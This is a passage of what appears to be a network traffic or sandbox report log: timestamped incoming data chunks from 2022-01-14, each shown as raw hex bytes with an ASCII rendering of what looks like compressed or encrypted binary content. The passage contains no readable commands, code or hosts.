bd 31 57 6f a6 fc 3c 96 86 6a a6 2b d7 0c 80 db ec 1f d4 50 21 a7 30 01 05 2f 61 8c c2 cc a6 f6 37 ec Data Ascii: Wr}Tl(]4}OgDe5<(a<q}!pu'H'/ReR9Es/x-T'A](9l8\s53M48':`30T$KI:#0 owvQ=5SP}UmjJk6I,vrm\|BJXW}1Wo<j+P!0/a7
2022-01-14 01:05:11 UTC	938	IN	Data Raw: cd 4d 11 6c d2 11 6e ce 07 61 f4 96 a1 66 66 57 ef cc d8 5d 63 bd 2d 97 07 45 54 7f 9d 8a a8 14 d4 13 5c 63 d2 41 52 5f ce 02 08 82 ec 75 d0 31 f5 4c 73 69 79 3e 51 2c b4 36 c7 1d ca 96 10 eb 47 e3 95 0e 52 fe d8 20 a4 3a f2 41 7b 26 0a 65 bd 7e f5 d2 49 f2 15 91 12 8b be 8e 39 65 d4 0b 88 dc fe af 77 58 42 92 c9 e6 7d aa e5 be 37 c6 2b 26 71 d9 65 11 e3 23 73 54 b0 b9 3a f1 5d 0b bd 4f e4 bc f4 aa 7a b9 77 a1 d0 17 be 76 bf ca c4 62 fa 12 36 b3 f0 29 76 bf 50 8e e4 55 3b 2a 09 12 c6 4a ef 42 a0 6f ed 6d 82 f8 85 db 17 7c 39 b2 00 4a a3 36 43 a9 c6 70 ad 31 eb e1 03 3d eb d1 a2 dc b3 64 14 5d 55 39 24 a0 01 0e 36 22 5b 47 f2 fc a2 c5 02 d3 7d 20 9b 2b 77 99 89 5b 37 b8 59 18 20 4b 04 d3 df 22 39 6f 0c 6a d5 62 9f ca 4c 4e 05 13 2b c8 50 5c 52 93 e7 fa f5 Data Ascii: MlnaffW]c-ET\cAR_u1Lsiy>Q,6GR :A{&e~I9ewXB}7+&qe#sT:]Ozwvb6)vPU;*JBom\|9J6Cp1=d]U9$6"[G} +w[7Y K"9ojbLN+P\R
2022-01-14 01:05:11 UTC	954	IN	Data Raw: 84 30 fe 42 9e 9c 5c b2 90 37 19 bb 8f d7 d5 39 70 81 0b 40 e0 bf fa 21 bb ff 9c 95 01 a3 ad 61 7f 3e 12 38 d5 84 47 71 db c5 1c 4d 96 4b 1e fc 9b 9e 38 60 56 47 f7 ad a4 08 67 4b c5 ad f7 f3 46 02 57 f7 60 6e 01 28 41 34 66 1a 84 c6 12 cc ec 04 5f 40 64 58 fd 83 e2 62 63 9b d5 77 bb 1e da 57 9f 2a 64 d7 a2 59 98 e3 c3 14 35 ca 40 4b 37 1d b0 ef 88 27 be b1 d5 eb 20 de cb 52 f1 80 9a c4 76 14 2a 0d ab 06 0d 45 58 d4 fc 84 53 97 d2 07 91 2a e8 fb 42 ac d1 37 a2 72 7f 87 c8 69 a3 2f 8f 1b 69 a6 66 ea 21 d9 bf b9 5d fe d7 dc ff 37 f1 4b 26 1d 14 e3 7c 06 1c ad 89 4e ba 93 ef c1 62 53 69 85 50 51 45 10 5c 02 09 6c 6b 35 82 87 90 35 a6 05 4a 63 92 7d a0 23 98 f0 9b ec d0 2d 78 1d 7f 52 c3 e2 7c cd 3b b9 ef 53 6b 67 e6 7c 78 02 6d 27 00 f7 51 8e b1 d0 68 71 25 Data Ascii: 0B\79p@!a>8GqMK8`VGgKFW`n(A4f_@dXbcwWdY5@K7' RvEXS*B7ri/if!]7K&\|NbSiPQE\lk55Jc}#-xR\|;Skg\|xm'Qhq%
2022-01-14 01:05:11 UTC	970	IN	Data Raw: 25 3d b5 db 18 53 0f 32 4f 00 16 70 30 92 4a 7e 64 31 bc f0 8a a6 5d 41 a9 e5 4e 28 fe bc 9d 81 5e 36 5f c3 21 00 98 00 41 b0 c1 fb f5 7c 02 7c 82 c2 0c 9a 7e ec ba 6e 8c 76 0e fe ea 89 38 a2 6a 34 75 9e 74 fd 3c f0 6b 6e ef 28 7d 92 bf 79 5a 30 25 b4 dd 2f e0 c9 cc 33 0c b1 01 db c3 76 fb 1d 3b 8c ca c5 67 a6 2e db 73 fe 5e 06 f3 39 06 a4 41 7a c2 a3 a5 0f 05 72 07 25 45 3b 45 35 39 5c 4c b6 9b ae 9e 01 29 3b 0e 7a 5f 13 e0 0c d4 84 ba d0 35 fd f5 51 93 bd 58 b1 4f b9 e4 59 c1 1b f5 c6 2d 06 d8 d8 da 1d dc 79 fb 51 e0 ea 65 21 da db 13 6f de 24 1e 32 ca bf 81 e9 bf 2a eb 9c 19 9d aa d2 58 eb 7c 12 2c 68 84 e5 60 1a a4 48 c5 41 72 e2 a8 31 dd 45 44 db e4 59 90 fe 7b 6a d1 37 a3 2d 82 be cd 36 da 51 d5 be a0 01 00 60 5d c0 f3 a5 07 b0 bf 19 f6 0c 25 e0 f2 Data Ascii: %=S2Op0J~d1]AN(^6_!A\|\|~nv8j4ut<kn(}yZ0%/3v;g.s^9Azr%E;E59\L);z_5QXOY-yQe!o$2*X\|,h`HAr1EDY{j7-6Q`]%
2022-01-14 01:05:11 UTC	986	IN	Data Raw: f2 00 8f b1 f5 45 f0 c9 e3 27 bd ce 52 74 31 b0 35 f4 94 36 a0 c1 e4 ed 97 a0 12 ed 3d ba 10 f7 d8 29 f8 9a 93 b0 6d 2c 2f 9a 3e ec 44 36 52 d8 fd b8 5c c7 9c 3f 7f ee 06 11 a7 ac 2b 0a 88 6b 04 74 32 38 27 51 6a 59 56 f1 45 d9 92 03 8f fb bb 0f 9c fe a9 db f3 2f bb 81 31 52 56 e2 f8 61 2e ef 40 d2 89 ba b4 dc 02 e5 b2 90 f1 12 a4 92 94 3b 1d fd 5e aa 56 37 68 52 8b 68 1b 84 0e 13 2e 49 3f e5 c5 77 c4 16 89 8b 90 c3 0b 04 b5 52 cd 3a fb b7 df 21 96 19 d0 de 3e b1 99 1f 7c de 38 ca 1f 6b 59 5f 99 59 36 bc 91 f9 20 51 65 90 cc ad 1d 43 27 4b d2 db da e1 f6 b4 db a5 98 45 e0 5c a4 32 ab 7a e5 c5 54 a1 aa ae 80 d5 9e ce 06 3a 92 59 c6 a8 7b 54 19 61 11 e1 c9 b1 c6 7d 27 98 f4 6e 17 0f ff b8 63 69 8d b4 54 eb 9d 4a bc 18 f2 26 29 b4 26 72 99 4f 39 5f 88 d0 f0 Data Ascii: E'Rt156=)m,/>D6R\?+kt28'QjYVE/1RVa.@;^V7hRh.I?wR:!>\|8kY_Y6 QeC'KE\2zT:Y{Ta}'nciTJ&)&rO9_
2022-01-14 01:05:11 UTC	1002	IN	Data Raw: db b4 62 a1 5d 8c a4 d5 bc b3 fe c8 9e b2 c3 93 b3 03 3c 49 53 e1 7e 52 7a dd d3 b0 1d c7 bd 14 45 fd 63 7a 0e 2c a8 4b 26 09 9f 4d 30 60 e0 6e 1a dc 1e 06 c7 7b 2a 99 6f 4e 52 ea 55 93 42 d2 f0 80 de 43 db 16 dd 9c e1 dd 56 52 d4 58 22 d5 72 ed b8 8b b0 02 47 73 38 91 7c 67 1b 4b c2 0c 82 4c 5a f1 0a 5e 32 34 bc 38 34 35 db 0f 69 af 61 e0 f9 81 5a e3 94 41 02 4d ae 27 80 1f 95 05 99 1d 47 f5 e6 17 98 c1 2c 60 c7 92 5e 0e fd 1d ac 75 49 76 4f f8 b2 33 12 14 05 c7 3d 36 28 42 0c 45 cc cd 20 e6 08 32 8f b7 dd 59 02 16 93 0b 2d 1d 85 c3 d1 dc 4b ec 1f 0e 70 9a 67 ee 81 19 1e 44 e6 45 30 11 87 dc 74 dd 18 93 9f e6 0a 19 e4 5c 96 29 0a c5 8b 07 c4 65 98 55 92 f2 85 cd 74 6a 26 fa 15 3e d6 b0 67 03 e4 6a 2c e1 31 00 52 e6 83 90 1a 70 78 df 97 14 b2 85 14 c0 36 Data Ascii: b]<IS~RzEcz,K&M0`n{*oNRUBCVRX"rGs8\|gKLZ^24845iaZAM'G,`^uIvO3=6(BE 2Y-KpgDE0t\)eUtj&>gj,1Rpx6
2022-01-14 01:05:11 UTC	1018	IN	Data Raw: 28 9a 84 37 29 10 02 d8 4e f4 c2 fc 9d df 89 4a 36 42 fe f4 dc 38 1f ec ae 39 e8 96 5d 8c c8 c2 2d 88 6a b6 3b dc cd 68 78 d8 8e e2 54 8b 1c 42 29 9c 20 ce 8b e5 2a 04 26 1a 5e 61 cc 26 ad 94 97 d9 09 7c 2f ed f0 f8 52 1f 88 53 58 01 bd ba 6a 14 3a 1a 81 65 9f d9 a8 49 93 26 15 fe 23 e5 62 ed c8 96 13 89 37 8c 69 bf 29 23 56 51 2e 1d 6f 60 2a 89 dd 1e 70 6b f0 c5 37 92 47 8e 4c 96 58 74 d3 e1 15 55 9e 21 88 82 7c 3f 38 29 32 4d 5f e7 e3 99 22 ee b7 e0 a0 4e a8 e1 fa 82 1b 9a a8 53 ef 4d 1d b0 90 01 78 f9 07 94 e3 bc fd d5 92 97 ce 82 ad 08 31 85 0d 80 a4 10 c0 2b 55 99 6d 35 22 06 d5 6d 33 4c 1b 0d 27 79 c0 0e 11 16 44 7b b1 80 f0 31 34 4c a2 02 76 8c 6d 40 96 e5 49 eb 62 85 bb c5 f3 54 8c 68 da 21 dc b5 9e 0d f4 7a bc 03 d4 9b bf 9a ee 85 75 b1 57 37 39 Data Ascii: (7)NJ6B89]-j;hxTB) &^a&\|/RSXj:eI&#b7i)#VQ.o`pk7GLXtU!\|?8)2M_"NSMx1+Um5"m3L'yD{14Lvm@IbTh!zuW79
2022-01-14 01:05:11 UTC	1034	IN	Data Raw: 43 ec 93 36 d9 b2 37 6d ea e1 71 c3 90 0a 36 b9 5d fc 4a da ae 8f b6 25 8f 65 9b a0 46 ed 7f 3d ff 5a 83 73 5d ef e9 13 2c 36 e6 df 33 ad f9 c8 96 7c 15 c1 c1 95 97 a6 4b 42 08 5c f4 a3 ef 38 b5 68 b0 0d 50 dc d7 d6 f7 45 f8 6d d8 9f f9 f8 54 eb 02 24 33 3a d4 9e d5 84 89 46 79 1c 64 d7 a1 3c 9b 11 f5 32 cd 05 a1 ea 85 b8 14 3b 0d 91 d6 fe ae 0e 47 28 e2 ea 17 4e 08 d3 c3 5d ad 2d 2d 2b 20 ff 2a 8c 7f 4b 53 1b a1 e9 eb ef 6a 00 99 d7 16 09 0d 56 d5 77 ce 10 0f ae 16 3c d5 a7 11 fa 31 1d 17 aa 8d d4 08 b5 1f 7d b8 10 89 90 fc e9 87 17 e7 83 76 62 29 86 be 5f 86 da ea 83 41 71 2f 1c 07 9c 09 e8 6a bf 9b 3f f8 58 4f df d5 56 af c7 16 7e 8d 71 c6 11 f7 82 58 c8 09 2a 37 9e b6 83 f2 50 da 0d e5 50 82 75 5c 12 f6 14 34 c4 71 c5 7a 00 93 12 87 89 33 02 f3 4d d2 Data Ascii: C67mq6]J%eF=Zs],63\|KB\8hPEmT$3:Fyd<2;G(N]--+ KSjVw<1}vb)_Aq/j?XOV~qX7PPu\4qz3M
2022-01-14 01:05:11 UTC	1050	IN	Data Raw: f8 f2 94 43 fb 33 7e 00 02 57 25 7f 7d 6c c8 21 12 a3 1e 7b 02 75 18 cd 52 1f 93 b0 04 58 9d 26 c7 98 ee 28 e9 70 fb f3 cf a6 0d 9d af 57 20 d5 86 b3 a3 01 16 4e fb 79 b6 dd 97 ba b9 72 af aa 70 19 ed a8 41 a4 c9 dd e1 f2 d5 81 96 12 77 29 84 cd 5b 7d 84 5a 04 93 69 ae 77 79 77 ed ce e0 b9 9b 4c ba dd 34 80 2c 89 76 85 1f ab 12 22 21 a5 e5 7c 11 b7 7c 13 da 21 89 b6 28 1d 2a 9b 97 6c 7f 2b 2e 4c 7e a6 48 ca cd fa e9 7f 54 25 05 13 31 eb ac 70 05 ba 18 d2 32 17 39 4d be ee 27 b1 dc 84 53 58 b7 6d da cd 82 fe 38 4f 8e 88 5a 4d 95 b2 ff 96 dd 04 f5 a9 d6 ee f8 8e fc 81 d8 b4 75 5a 13 9b 99 c0 51 d6 db 9a e0 f7 61 8c cf 67 a2 af 3d 71 af ae 6f 01 a8 f5 5c 36 bc 57 63 3c 5a 17 12 d7 2e ac fc c3 18 b6 0a 6c 0e 3c 8a 55 86 cd 38 70 32 17 22 5f 35 9f 52 58 86 11 Data Ascii: C3~W%}l!{uRX&(pW NyrpAw)[}ZiwywL4,v"!\|\|!(*l+.L~HT%1p29M'SXm8OZMuZQag=qo\6Wc<Z.l<U8p2"_5RX
2022-01-14 01:05:11 UTC	1066	IN	Data Raw: 6a 83 5d ce 71 20 4a f7 3a cd 3e 2e bc 29 6b 39 74 28 10 3d 56 6f 82 ab a5 84 ab 4e d6 4d ae 7c fd 51 3e 9e 5d 56 4e d2 f7 c5 f1 b4 9f b2 fe 60 20 a4 ad 1e f8 55 a7 85 45 05 e7 18 db 30 a0 fa 2d 93 12 ca 0b 7c 1c 9f 99 0d ea 25 7e 62 dd 11 f1 e3 ae 91 8a b2 f1 5f 21 00 d1 13 42 d1 02 97 ec 3e 1b c2 4a 3a 41 b6 f2 bc da 28 57 b2 bc 2d e5 69 d4 1b 61 09 74 c7 5c 03 b3 97 24 5a fa c1 74 88 9c af 16 97 79 ca 8e de be 88 f2 7d 64 4b 8e e6 22 8f b3 69 51 61 25 56 ab 0a fd e1 91 ca e3 c1 47 b6 e8 f0 42 27 09 02 17 7b ea 9d ba 11 ac e0 59 24 c2 b0 32 6a b5 0d eb ea 91 84 da 5a 9d 00 29 b0 e0 57 73 aa 7b 92 d4 21 de 61 21 f7 e0 85 c8 a7 35 b7 40 0a 1d 95 74 97 0a e4 ab 15 8c 80 5b 68 96 86 43 64 78 25 16 8d 62 d2 81 76 16 d7 c9 f9 7b 44 5e a3 cf ea 17 41 74 16 0a Data Ascii: j]q J:>.)k9t(=VoNM\|Q>]VN` UE0-\|%~b_!B>J:A(W-iat\$Zty}dK"iQa%VGB'{Y$2jZ)Ws{!a!5@t[hCdx%bv{D^At
2022-01-14 01:05:11 UTC	1082	IN	Data Raw: c2 e8 59 e3 7d b4 db 67 f6 fe b1 7b c2 0c 0e ce 4f 6f 46 a1 c5 76 86 b3 15 bc fc 30 02 ee 37 07 61 46 86 a8 38 c8 e4 16 a9 38 52 d1 31 aa 96 b5 04 ff d6 fd 61 e2 4d 13 77 fc e1 7d ce 44 01 d7 b4 8c a7 d8 86 44 73 23 8d a9 6f 7d e3 31 de ab 36 ff 2b 54 9b bf c4 7f 06 33 09 fe ea 24 fb 4b 9c 35 62 35 57 c3 6d 1d 41 bf 20 98 e2 8d 4f dc 79 90 d7 73 4f 16 d1 f6 76 21 4e e4 15 b3 bb fa ad 27 27 5b c9 2b 3a 53 7a 43 e8 4d f0 2e db 1e a4 77 b1 4f 0d 8c ee 21 ca 9c 8f 23 e9 70 bd 36 b5 48 23 6e 61 91 e5 88 13 f2 4c 86 ac 06 e0 b3 2a 1f 75 3b 32 45 e3 30 da ec 64 65 53 4a 18 9e 07 1d 84 78 f6 6a 16 0b 84 44 10 c5 86 8b de 7d e4 96 b8 d5 20 ff da 10 6b ba 78 4e 8a 2c 18 7e 87 65 9e 0d f0 86 cd 31 7d 76 cb f6 8f 09 58 28 83 84 01 30 31 bd b6 e6 45 04 1a 25 ed a0 39 Data Ascii: Y}g{OoFv07aF88R1aMw}DDs#o}16+T3$K5b5WmA OysOv!N''[+:SzCM.wO!#p6H#naL*u;2E0deSJxjD} kxN,~e1}vX(01E%9
2022-01-14 01:05:11 UTC	1098	IN	Data Raw: 53 fe 1a 88 83 8a 04 13 1b 4b 14 88 85 7a b2 82 76 4b a9 7f f2 e2 a4 c6 ca 44 d3 dd c4 f6 54 a9 60 28 06 0b a3 e2 65 02 c0 18 c9 3d 13 77 31 56 f6 ca e4 c2 9e b5 6c c5 7e 03 01 54 9b 15 b4 47 ec 0b 2b 55 e5 47 0d 95 15 bb f2 aa 3c fe aa 68 22 13 1e 73 9a a0 08 18 b6 d5 ca 37 5c 06 8e 95 38 68 03 05 c9 d1 a1 3e be dd ee 50 5c 1d e2 4a bf db 71 38 0f 78 ad 99 16 9a 1b 7f c9 33 fb 93 4e 05 4d 21 70 14 72 9f 43 eb ac be 53 83 c3 5a 35 42 fe a9 0a 3a fc 3b 9d bc 7a 1d 4f f8 0a 2d c3 2c 36 ea 40 bf e1 01 77 22 22 52 bf 90 f7 59 3d 73 de 7c 21 ff 9a 74 e7 62 03 73 83 f6 34 a1 e5 b1 a1 26 fd 6b ec 09 23 8e 17 97 86 5a 0f 27 b6 b4 93 31 26 0a 0d 35 21 8b 9a 15 49 a7 7a 4a c3 16 32 2e 74 0b ba 44 e4 76 0a 53 4b c6 ea 35 2f 2a 4c 9c 31 51 08 83 8b f3 d5 b9 07 88 5d Data Ascii: SKzvKDT`(e=w1Vl~TG+UG<h"s7\8h>P\Jq8x3NM!prCSZ5B:;zO-,6@w""RY=s\|!tbs4&k#Z'1&5!IzJ2.tDvSK5/*L1Q]
2022-01-14 01:05:11 UTC	1114	IN	Data Raw: 6a 93 2e 1f 4b 9b 2a d4 c3 1f 21 44 e0 9d a1 b3 1b 30 5a 1c ab f6 3a 86 89 33 f4 cc c4 6a cf d2 99 75 65 44 c3 81 82 4d a3 02 32 70 6b 93 40 4a 2d db 2a 6f 38 fc 57 63 90 8f 24 d2 cf d2 65 57 2c 91 8a 6b 89 fb cb 98 aa c2 f4 03 39 76 60 70 21 94 58 d0 3f 88 0f c6 c6 b5 eb b4 9b ec 59 98 4f 9d e5 ca 0b 4e d5 dc c0 b0 d5 b3 25 0d 84 08 af 14 be 45 96 a6 08 a1 eb 5f 0a 3a eb 62 e7 75 5a b5 95 9b 66 3d b4 87 b4 a7 4a 73 d3 cf 0b 04 4c cd ed 99 4d 83 be 92 28 ad b4 41 be ee de 87 ab 3c 7b 40 56 07 21 03 5d 1d b8 5d 58 4c a3 cc 8c c4 f7 b7 9a 61 91 b5 0d 14 67 b9 0c ea 6f ce 23 fe e9 73 19 5e 38 78 e6 3f 34 5c 44 40 ac b4 4b 29 9a 06 a8 0b 23 0c 26 22 0c 57 68 ba 98 88 77 f1 a8 50 42 76 86 1c e5 46 58 06 c6 19 8a 1f 25 d4 0f f2 75 30 f1 68 72 f7 dc e8 7b ab 02 Data Ascii: j.K!D0Z:3jueDM2pk@J-o8Wc$eW,k9v`p!X?YON%E_:buZf=JsLM(A<{@V!]]XLago#s^8x?4\D@K)#&"WhwPBvFX%u0hr{
2022-01-14 01:05:11 UTC	1130	IN	Data Raw: f9 c4 52 64 c8 68 e9 5e b3 ae d6 af b5 af 8d c4 fd 7b d9 e7 fe fe 2b a3 0a 3e be d7 8a 57 2d 39 a4 b3 e7 39 26 dc c4 c0 d0 82 9d f2 e2 54 64 b7 ed e2 5a 0d 10 ca 1c ef 76 b8 bc db 90 66 33 88 62 13 22 c9 f0 65 10 a5 27 5b 9c 9d de a0 f4 b6 66 a1 bb d2 69 bb 2e 38 d4 b8 45 f5 3f 92 78 da f2 00 ed d1 46 8f 69 0d be 32 d8 df 3e e0 8c 97 ee 33 9e fe 92 64 27 6c 33 b8 6d 62 8f 21 43 94 01 5d 46 bd 9d f3 e7 e9 60 0f 37 0a b1 1f d2 29 93 e7 37 36 34 a3 9f fc 75 10 5d a1 7e 1a a6 b3 c5 49 ec 4b 49 11 4c 44 2e 23 61 a2 de fa 6c 5b f4 eb 16 f3 69 5f ff a7 a0 30 e0 41 53 3f b7 a0 0e 81 b8 ef 33 f8 63 24 ef 08 68 fd 5e 0b b3 f1 89 f9 dd 5c 80 21 e9 1d bb b9 c2 95 8a de 1c b4 69 4c ea ee 68 38 28 08 3e 47 68 10 26 0a bb 4b 65 e6 f5 5f 4a e0 03 35 21 99 70 c9 93 32 d5 Data Ascii: Rdh^{+>W-99&TdZvf3b"e'[fi.8E?xFi2>3d'l3mb!C]F`7)764u]~IKILD.#al[i_0AS?3c$h^\!iLh8(>Gh&Ke_J5!p2
2022-01-14 01:05:11 UTC	1146	IN	Data Raw: 9a 23 6b a3 e7 ea 1e 91 85 63 5b 65 e0 55 bd 77 86 41 c7 60 e5 63 63 7a ae 32 00 8e 94 2d 47 ea a3 4e 13 22 ef 8e 7b db 27 d5 ad 2c 7f 24 0e 5b d7 ba 23 da 34 37 84 d0 83 06 02 5b e7 ab 09 a1 f3 cf f5 f7 14 2c 75 55 80 78 c2 de c6 4b e5 a9 99 4e c8 90 cb 68 49 11 d8 72 06 5f 2f 9f f8 20 40 67 8b 59 f2 57 f7 6c 2e bd b9 2a 25 3f d1 e7 17 9a 93 50 18 ae 16 74 0d da bf 01 7d 6a 5b c7 9b 51 0a 67 39 57 01 6d 02 ae 92 24 15 f9 ca db 6a 28 b9 c5 bd df e6 e7 b5 a9 23 d3 99 56 82 13 ad 07 59 18 ad a4 ef 93 35 e9 90 b4 8b b9 b3 1a 7e 86 13 96 9d 1d d5 90 e7 a2 c2 7f e8 99 c0 f4 51 6c e3 d4 94 e3 cf a6 4a 12 ff 3b f4 c8 f5 b3 86 de bc 7e 53 2d a1 86 05 82 2b 14 d9 66 58 f8 ea 0a 86 6b 4d c8 5c e7 b1 43 1f 4f 7e 48 4b c6 85 5c fe 96 a8 58 91 94 de 75 f5 93 2c 69 87 Data Ascii: #kc[eUwA`ccz2-GN"{',$[#47[,uUxKNhIr_/ @gYWl.*%?Pt}j[Qg9Wm$j(#VY5~QlJ;~S-+fXkM\CO~HK\Xu,i
2022-01-14 01:05:11 UTC	1162	IN	Data Raw: 4c 44 79 45 b5 54 8f 43 fa 92 20 ed 98 be c1 d0 ed 50 46 e6 da 39 26 e3 d4 5b 12 16 a1 14 6c 3b 21 3d b7 0d ec e7 45 5c 4e 1d 34 1c d3 3f 08 0d 1c 65 21 20 cb 6a c7 60 58 e6 f3 95 8e 7e 91 f1 e8 e0 99 52 ed 61 bf 2e 81 a0 74 f2 6e 16 7b c1 44 86 a2 3a 7d f8 d3 e0 14 17 83 11 d8 6e 8d cd ad fe af ab fc 23 55 7b da 2b c8 e3 40 06 18 1e 16 3f 5e 43 94 a7 32 e4 95 c3 c5 fa b2 0f 49 a2 f6 5d 11 58 15 2f 84 1d 5b f0 f3 e1 41 a5 62 eb 3e c5 ac f0 68 cb 5a 04 6f d6 cb 50 7b 2f 49 f4 e7 13 40 aa 49 ff 07 93 26 5c 39 7b 15 6b 31 5d 61 9b 20 e4 1a f4 f3 02 fe 62 6e f9 70 fa 66 5d 11 1c c4 a2 37 5e fb b8 c5 75 bd 21 1c af 56 ba 6d d3 55 9f c4 97 58 76 0e 2a 4a 5c 97 10 02 e5 5f 92 0b 4b fe 79 85 7a bb f6 ac 96 12 e6 7f 19 f5 b6 66 2d d2 13 ad 60 71 14 9f ee f7 51 98 Data Ascii: LDyETC PF9&[l;!=E\N4?e! j`X~Ra.tn{D:}n#U{+@?^C2I]X/[Ab>hZoP{/I@I&\9{k1]a bnpf]7^u!VmUXv*J\_Kyzf-`qQ
2022-01-14 01:05:11 UTC	1178	IN	Data Raw: a0 af b9 b3 eb 74 0e f5 d3 82 5f 9e cf 2b 5a 20 54 0e 58 b3 58 aa 1a f1 35 e2 b7 cb 10 80 3a d1 63 7b 72 6f bf c4 cc d0 7d 83 25 3d 69 c6 1c 4a 98 68 5d 18 0f 8f 00 e3 f7 ee 2a ee be 52 cd db db d3 8b a0 b4 64 e0 b7 40 0b a7 e0 75 9d 03 2b 66 9c a7 72 d7 8a 72 61 89 de 25 0b 8b de 0e 94 25 10 1b c3 8f 9c 12 53 e9 42 1a 2f c9 90 6e 05 db e8 ba 72 a8 44 e6 77 b2 f3 18 22 e1 da 79 c0 dc de 23 c4 6a f9 06 7a 5e 1a c6 1e 2c a7 b8 8d 6f 4a c4 6e 3b 2e 2b 3f 83 7a 1d 14 13 fa 18 ec 76 81 55 55 ed d2 1a c5 d5 18 ef 4b a8 30 e0 67 a2 a8 f9 db 95 d7 d8 f5 a4 e3 49 ba 18 41 48 54 80 af b3 52 9b da 7f 0a d2 2c 58 34 bb b7 e2 f3 e8 03 4d 63 0e 81 5d cf ff be a8 d1 fe 25 ab ed 54 59 c1 55 c8 a8 1a ea e6 d7 55 e3 7a 08 e6 54 cb 37 0b 01 35 d1 c9 22 7a 5d ca 8f d2 a9 27 Data Ascii: t_+Z TXX5:c{ro}%=iJh]*Rd@u+frra%%SB/nrDw"y#jz^,oJn;.+?zvUUK0gIAHTR,X4Mc]%TYUUzT75"z]'
2022-01-14 01:05:11 UTC	1194	IN	Data Raw: 53 09 13 c6 94 d7 b8 46 8a e7 d6 08 16 d1 51 6f d4 be ca 4b 34 42 a9 a8 69 a9 75 ef 75 3a ea 99 5e 25 7c f4 3e fc cf b9 11 c1 6f 32 3d ef a2 8f 6f 56 c7 06 76 10 42 9e 26 a4 f0 88 66 2f 07 91 0d 27 97 f5 c9 6a e6 63 b6 65 b0 5a 2e e5 4d ae f2 02 a0 64 a6 a9 e9 ae b6 0e a9 82 ba cf c7 d3 f7 36 ef da e0 9e db 86 b0 bf 96 43 c0 ac 73 b4 df 73 6f 0f 33 02 17 a2 27 dc 0d e8 7c eb 27 43 a8 1b 23 32 9b 31 3f f2 b5 40 e6 e9 bc c5 ef df 09 40 9c 3d 4a 0d 62 d8 3f 3a aa 0e 36 39 44 8e 6f 9c 98 54 22 b7 82 4b 91 b1 2f 19 2c aa 33 d6 26 1d ef 63 09 d9 a9 aa 89 f1 51 31 0c 57 1f 14 92 3d 96 79 9d 31 4f cd 60 e7 a0 62 f7 44 cf a8 38 3d b7 ae 3b 54 87 a0 41 2f 22 b4 40 b6 a7 07 23 d9 bd 09 76 83 ee e1 5d e3 1d 07 14 d8 2a ac cd cb 5d dd 81 a7 b1 f6 3f aa 6b b1 13 2c 45 Data Ascii: SFQoK4Biuu:^%\|>o2=oVvB&f/'jceZ.Md6Csso3'\|'C#21?@@=Jb?:69DoT"K/,3&cQ1W=y1O`bD8=;TA/"@#v]*]?k,E
2022-01-14 01:05:11 UTC	1210	IN	Data Raw: 93 00 c8 97 76 07 10 42 f8 de 3b 83 cd 24 9e d3 8b 92 b5 53 7b e1 1a 6e 89 f7 16 4a a5 fa 81 8a 55 88 7f b6 b6 c2 84 69 17 e9 c8 e2 f0 82 62 c8 0c 2b 94 99 60 c8 51 d6 e1 c1 ea 16 2e cc a9 41 56 a9 c1 33 28 c3 55 5a b8 59 0f 96 f9 f2 c5 20 32 ec ba 5c e1 26 3a a4 6a 7b cf 1f a4 db 35 07 bc 66 c5 9b 13 b0 08 e8 80 8c da eb dc ac 17 af 7d e8 cc ee 81 b3 da b6 39 ab 78 27 8b c2 b0 36 fa 29 c1 69 1a b9 8c c1 f4 0d ff 9c 57 de 29 1d 40 56 95 7c 81 c9 89 d0 74 70 15 dd f0 90 e7 57 c5 1b 5b e5 be d5 51 6d 8d e3 2e 4e 13 62 a4 b8 ab af 1b 60 27 5c 05 d0 91 c7 f5 27 b4 38 98 4c be 9a c5 29 4f cc 07 56 de 75 7e 09 20 c6 c7 45 38 ee 52 f5 38 26 cb d7 3d 01 55 96 1c 84 36 55 b7 0f f2 35 c3 07 fa f4 b6 97 1e 03 13 60 f6 5d 7d 7f 8d c0 3a aa 5a 3b 70 3b 5b 0b a1 ed 5e Data Ascii: vB;$S{nJUib+`Q.AV3(UZY 2\&:j{5f}9x'6)iW)@V\|tpW[Qm.Nb`'\'8L)OVu~ E8R8&=U6U5`]}:Z;p;[^
2022-01-14 01:05:11 UTC	1226	IN	Data Raw: 0b 95 0d c8 64 24 7f 45 f2 0e 24 ac f6 13 7c da d6 96 ad 31 e3 80 3d 6c 8f f9 42 66 96 d8 dc 41 6e 1a ff ba 4d 75 f1 bc a2 d9 37 fb ea 73 67 2b d5 02 6b 68 d4 f1 c2 37 5d c2 29 41 e8 4d 29 c9 05 b3 8a 02 5f 72 94 3b ed c4 9e f4 02 8e 1b 63 8c 08 64 1c d7 f7 7b 1c 89 b6 0f 70 1b 60 6a 27 91 59 0c d4 58 02 19 e5 63 25 3d eb 56 e3 12 6e 4d 71 1f 84 d7 1a 56 05 0b 72 12 2d 1e 2b bc e8 0a e4 3f 29 f9 c5 8c f1 23 bc 81 84 d6 76 de ac 0b f1 18 0e 32 a7 08 f1 7f 9d d1 3d 16 6c 78 8f 54 a4 bc 10 35 41 78 cc 25 79 73 01 75 01 cf 80 bd e9 ba a0 c2 9e a8 27 fa 50 f5 f2 42 6a 18 24 e7 ac 4c 05 45 c5 20 ec c1 a0 f6 78 74 da f9 a6 7e 80 4e 33 fa 8e 92 25 0a d4 bd 2c 71 18 03 d7 61 c7 3c 4f fb c9 2f 40 32 a0 82 04 ff 41 64 f1 df 6f 5a c6 d8 b1 71 f7 7e 54 aa 9b 76 9e 43 Data Ascii: d$E$\|1=lBfAnMu7sg+kh7])AM)_r;cd{p`j'YXc%=VnMqVr-+?)#v2=lxT5Ax%ysu'PBj$LE xt~N3%,qa<O/@2AdoZq~TvC
2022-01-14 01:05:11 UTC	1242	IN	Data Raw: 61 bc 0c 74 60 e1 b2 9f d9 f7 30 8e 07 d6 57 82 57 53 bc 45 e7 e1 4a ce 17 fc 79 6f 69 f1 00 6c 93 b9 d4 f1 4b 59 a9 d4 2a 04 bd f1 f9 90 4b b8 c5 a4 fd 95 ba 28 21 77 43 8c e4 91 5c 23 39 68 2d 6e 1f bf cd 56 24 c6 2c 37 af 85 66 8e b1 0c 16 60 6d 7a d2 d6 80 47 2a 33 57 ee d1 f4 00 90 a2 55 9c da 2c 34 08 a9 a6 03 49 6c 23 61 04 d6 fb 91 0b 24 fd a3 71 7b a1 98 2c 9f df 1b b8 62 c6 58 8a c2 83 87 12 86 bd 8b 09 43 53 fa 9e 84 2a 46 56 79 00 67 88 37 89 a4 21 6c 64 87 35 51 ed 5e 9e cb cf d5 61 cd ef 56 0d a1 a6 05 cd 1f d2 68 18 5f 22 37 df 3b 8c 24 a2 65 c2 87 09 f6 1b e6 61 51 de 1f 